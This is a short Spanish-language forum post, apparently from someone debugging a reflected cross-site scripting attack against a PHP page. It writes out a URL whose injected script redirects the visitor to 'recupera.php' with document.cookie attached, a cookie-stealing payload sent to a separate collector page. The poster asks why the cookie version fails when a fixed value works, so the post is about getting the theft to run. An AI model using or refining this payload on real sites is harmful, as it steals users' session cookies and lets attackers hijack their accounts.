Ok, pero simplificando el script sigo sin ver donde me equivoco
web.php
URL
http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie="+document.cookie</script>
Resultado:
Array
(
[a] =>
)
(no carga recupera.php)
URL:
http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie=asdf"</script>
Ok: carga la pagina recupera.php
El error sigue siendo el mismo que el anterior